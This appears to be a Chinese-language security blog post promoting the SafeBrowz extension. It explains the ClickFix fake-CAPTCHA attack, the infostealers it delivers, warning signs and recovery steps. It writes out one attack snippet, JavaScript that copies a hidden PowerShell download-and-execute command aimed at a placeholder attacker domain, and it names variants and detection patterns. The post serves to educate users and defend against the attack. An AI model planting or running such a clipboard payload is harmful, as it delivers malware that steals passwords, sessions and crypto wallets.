盗空你钱包的虚假 CAPTCHA：ClickFix 解析

ClickFix 是什么

ClickFix 是一种披着 CAPTCHA 外衣的社会工程攻击套件。你进入一个看起来像正常"验证你是人类"挑战的页面。Cloudflare Turnstile 徽标、熟悉的复选框，也许还有一个进度条。你点击它。然而 CAPTCHA 并没有通过，页面显示验证失败，并向你展示三个"修复"步骤：

1. 按下键盘上的 Win + R
2. 按下 Ctrl + V 粘贴
3. 按下 Enter

页面没有告诉你的是，点击虚假 CAPTCHA 按钮时，一个 PowerShell 命令已经悄悄复制到了你的剪贴板。运行对话框打开。你粘贴。你按下 Enter。Windows 启动 PowerShell，连接到攻击者控制的服务器，下载载荷并在你的用户账户下运行。没有提示，没有警告，没有下载。整个攻击从"验证你是人类"到系统完全被攻陷大约需要八秒钟。

macOS 变体使用终端而非运行对话框，Linux 版本使用 xdotool 风格的提示，但模式完全相同。一个你信任的页面诱骗你执行你没有编写的代码。

为何所有杀毒软件都会漏过这种攻击

传统端点保护查找两件事：已知恶意软件签名和可疑进程行为。ClickFix 通过设计同时绕过了这两者。

攻击开始时磁盘上没有恶意文件。投递载荷存在于复制到你剪贴板的字符串中。运行它的进程是 powershell.exe——一个过去十五年中每款杀毒软件都在白名单中的已签名 Microsoft 二进制文件。当 PowerShell 拉取第二阶段时，它通常使用 Invoke-Expression 或 reflection.Assembly.Load 直接将其加载到内存中，因此恶意软件永远不会触及文件系统。无文件加载意味着没有文件可供扫描。

最后一个关键因素是同意。是用户按下了键盘快捷键。是用户粘贴了命令。是用户按下了 Enter。从操作系统的角度来看，这是一个合法的管理员在运行合法的解释器。没有漏洞利用，没有权限提升，没有需要修补的 CVE。你无法为"用户按照网页指示操作"编写签名。这就是为什么 ClickFix 从 2024 年的研究趣闻，发展到了 2026 年所追踪的所有浏览器投递恶意软件事件中约 40% 的份额。

攻击脚本套件的确切形态

大多数 ClickFix 登陆页面都是由同一批模板构建的，这些模板在 Telegram 和论坛市场上出售或泄露。一旦见过一个，结构模式就变得可预测。页面加载一个令人信服的 CAPTCHA 外壳，然后当用户点击挑战框内的任何位置时，一小段脚本触发：

const cmd = "powershell -w hidden -c \"iex (iwr 'https://[attacker-domain]/x.ps1')\""; navigator.clipboard.writeText(cmd);

navigator.clipboard.writeText() 调用是整个把戏的核心。浏览器允许在用户手势时写入剪贴板而无需权限提示，这对于普通网站上的复制按钮来说没问题，但在这里却是完美的掩护。用户点击虚假 CAPTCHA 的那一刻，其剪贴板就被覆盖了。

第二层在短暂延迟后淡入显示"验证失败"面板，通常在 600 到 1200 毫秒之间。这个延迟是刻意为之的。它让失败感觉像是真正的 CAPTCHA 超时，而非即时的伪造。指令面板随后引导用户完成 Win+R、Ctrl+V、Enter 的操作，有时还会附加一个虚假的"robot ID"字符串，如 ray-id: 7a3f...，让粘贴的文本看起来像是诊断输入而非 Shell 命令。

变体将 powershell 替换为 mshta、curl | iex 或 Base64 编码的数据块。Base64 版本在运行对话框中显示为乱码，这实际上对攻击者有利，因为困惑的用户更有可能不阅读就按照"直接按 Enter"的指示操作。

谁在运行这些攻击活动

ClickFix 不是单一组织的行为。它是被数十个联盟会员使用的投递机制，这些会员为少数几个恶意软件家族提供流量。流量来源包括被入侵的 WordPress 网站、审核不严格的广告网络上的恶意广告、针对长尾加密货币和软件下载查询的 SEO 毒化，以及越来越多的虚假 Google Meet 和 Zoom 邀请链接。

域名轮换非常激进。典型的攻击活动每 24 到 72 小时就会烧掉一个新域名，以保持在黑名单之前。域名通常通过接受加密货币支付的代理商注册，托管在防弹服务提供商上，并由 Cloudflare 作为前端来隐藏来源。

在载荷方面，我们看到 ClickFix 页面投递最多的恶意软件家族是 Vidar、RedLine、Lumma、StealC 和 ACR Stealer。它们都是信息窃取木马，作为服务出租，每个运营商每月通常收费 150 到 500 美元，这使得入门门槛保持在较低水平。同一个 ClickFix 页面可以根据地理位置、浏览器指纹或当时运行流量的联盟会员，投递不同的载荷。

恶意软件如何变现

一旦 PowerShell 一行命令运行，信息窃取木马会在不到一分钟的时间内完成工作。它针对一个可预测的高价值数据列表：

• Chrome、Firefox、Edge、Brave、Opera 及所有 Chromium 分支中保存的密码
• 会话 Cookie——比密码更有价值，因为它们可以绕过双因素认证
• 浏览器扩展钱包存储：MetaMask、Phantom、Rabby、Rainbow、Keplr 及三十多个其他钱包
• 桌面钱包文件：Exodus、Electrum、Atomic、Ledger Live
• Discord、Telegram 和 Steam 会话令牌
• 包括信用卡和地址在内的自动填充数据
• 感染时刻的桌面截图

被盗数据被打包成"日志"并上传到指挥和控制服务器。从那里，它走向三条路径之一。有余额的加密货币钱包通常在几分钟内被自动盗刷机器人清空，该机器人会扫描扩展存储中有明文助记词的所有热钱包。高价值账户（如电子邮件、交易所和云服务提供商）的会话 Cookie 会在 Russian Market 或 Genesis 等市场上单独出售，价格从 5 到 500 美元不等。批量日志（通常包含每个受害者数百个网站的凭证）则被整批出售给凭证填充运营商，他们会针对银行、流媒体和购物网站测试这些凭证以进行账户接管。

根据我们追踪的盗刷数据，针对加密货币用户的单次成功 ClickFix 感染，运营商平均获益 2800 美元。对于非加密货币用户，通过凭证转售获益约 40 美元。两个数字都高到足以使该攻击在规模化时保持盈利。

你正在看 ClickFix 的 4 个迹象

1. CAPTCHA 指示涉及 Win+R、终端或 PowerShell。互联网历史上从没有任何合法 CAPTCHA 要求你打开 Shell。Cloudflare、Google reCAPTCHA、hCaptcha 和 Turnstile 都在页面内工作。如果人类验证步骤告诉你按下会打开系统对话框的键盘快捷键，请关闭选项卡。
2. 页面显示验证失败并要求你运行脚本。真正的 CAPTCHA 会静默失败或重试。它们不会给你一个命令并说"粘贴这个来证明你是人类"。这个措辞本身就是 ClickFix 的特征。
3. URL 是你实际上没有使用的合法服务的仿冒版本。常见的 ClickFix 诱饵模仿 Cloudflare 验证页面、Google Meet 加入、Zoom 更新、DocuSign 验证和虚假浏览器更新提示。如果你在没有访问使用 Cloudflare 的网站的情况下遇到了"Cloudflare 挑战"，那就有问题了。
4. 你的剪贴板突然包含了一个 Shell 命令。如果你曾经进入一个可疑页面并想检查，请打开记事本并粘贴。如果出来的内容以 powershell、mshta、cmd /c、curl 或一长串 Base64 字符串开头，你就是攻击目标。不要在其他任何地方粘贴它。清除剪贴板并离开。

如果你已经运行了命令该怎么办

假设已经完全被攻陷。如果可能，从另一台设备按顺序执行以下七个步骤。

1. 断开受感染机器与互联网的连接。拔掉网线或关闭 Wi-Fi。这会停止任何正在进行的数据泄露，并在造成更多损害之前切断 C2 信道。
2. 使用两个引擎进行全面扫描。Malwarebytes 加上 Windows Defender 离线扫描是一个很好的免费组合。信息窃取木马通常附带持久化机制，只有完整的启动时扫描才能发现。
3. 更改过去 24 小时内使用的每个密码。从你的主要电子邮件开始，因为拥有它就可以重置所有其他账户。然后是银行、加密货币交易所、密码管理器主密码，以及任何有支付数据的账户。使用干净的设备，而非受感染的设备。
4. 撤销所有活动会话。大多数服务在安全设置中有"从所有设备退出"选项。对 Google、Apple、Microsoft、Discord、你的密码管理器以及你使用的每个交易所执行此操作。在你更改密码之前窃取的 Cookie 在会话被终止之前仍然有效。
5. 将任何加密货币转移到全新的钱包。在干净的设备上生成新的助记词，如果有的话最好使用硬件钱包。将资金从受攻陷机器上的任何热钱包转出。永远不要重复使用旧的助记词，即使在全新安装之后也不行。假设它已经存在于窃取者服务器上的数据库中。
6. 在接下来的 48 小时内检查银行和加密货币交易。启用银行提供的每一个欺诈警报。监控链上地址的异常流出。如果你在那个时间窗口内在受感染机器上输入了银行卡详细信息，请主动联系你的银行。
7. 考虑完全重装操作系统。如果被攻陷的账户可以访问任何重要内容，请彻底清除机器。擦除并重新安装操作系统是确保没有持久化机制残留的唯一方法。将文档备份到外部存储介质，单独扫描它们，重装后恢复数据，而非使用系统镜像。

针对加密货币的具体恢复措施，请参阅我们关于助记词被盗时的处理步骤的分步指南。

SafeBrowz 如何专门拦截 ClickFix

我们针对这类攻击构建了三个独立的防御层，因为任何单一防御都可能被绕过。三层都在免费扩展中运行，其中一层仅在 Premium 版中提供。

第一层：域名黑名单。我们追踪的每一个已知 ClickFix 投递域名、暂存服务器和指挥控制端点都会以六小时的刷新周期推送到扩展中。该列表来源于我们自己的爬虫、合作伙伴威胁情报和社区提交。如果页面从已知恶意域名加载，请求会在 HTML 渲染之前就被阻止。有关域名检测通常工作原理的背景，请参阅我们关于如何判断网站是否为骗局的入门文章。

第二层：内容模式检测。黑名单在新域名方面会落后数小时或数天。为了捕获我们从未见过的页面，扩展在渲染前扫描页面内容中的 ClickFix 特征：100 多种支持语言中的 Win+R 指令语言、点击处理程序中对 navigator.clipboard.writeText 的调用、虚假的验证失败面板，以及 CAPTCHA 品牌与 Shell 命令文本的组合。AI 内容分析对任何可疑内容运行，即使页面不符合已知模板也会进行标记。这能在野外捕获零日 ClickFix 变体。

第三层：剪贴板劫持防护（Premium）。终极选项。任何试图在没有明显意图点击可见复制按钮的情况下写入剪贴板的页面都会被阻止，并向用户显示页面试图复制的内容。这在恶意命令进入剪贴板的确切时刻阻止了整个攻击链，无论域名信誉或内容模式如何。

我们 ClickFix 防御机制的更深层技术解析请参阅 ClickFix 保护页面。

常见问题

SafeBrowz 在 Mac 上有效吗？

是的。扩展在浏览器层面阻止 ClickFix 投递网站，这在 Mac、Windows、Linux 和 ChromeOS 上工作方式相同。恶意软件载荷恰好最常针对 Windows，但无论操作系统如何，你都受到保护，因为扩展首先会阻止你进入那个页面。

免费版够用吗？

对大多数用户来说，是的。黑名单和内容模式检测层可以捕获绝大多数 ClickFix 页面，且永久免费。Premium 中的剪贴板劫持防护是最后一道防线，适合希望获得双重保险的用户，尤其是持有大量加密货币的用户。

我访问了 ClickFix 页面但没有运行任何命令。我安全吗？

是的。仅仅浏览页面什么都不会发生。攻击需要你按下 Win+R、粘贴并按 Enter。如果你在没有按照指示操作的情况下关闭了选项卡，你的机器上没有代码运行。清除剪贴板以防万一，然后继续。

ClickFix 与传统网络钓鱼相比有多普遍？

2026 年，我们追踪的浏览器投递恶意软件事件中约 40% 涉及 ClickFix 变体。传统的凭证网络钓鱼总体上仍然更大，但 ClickFix 增长最快，因为它同时绕过了杀毒软件和双因素认证。预计它还会继续上升。

为什么浏览器不原生阻止这个？

因为从技术上讲，浏览器中没有任何东西被破坏。用户点击了一个按钮。页面在用户手势时写入了剪贴板，这是被允许的。用户随后打开了自己的 Shell 并粘贴。从 Chrome 的角度来看，每一步都是合法的操作。防御必须在上一层运行，这正是专用扩展的价值所在。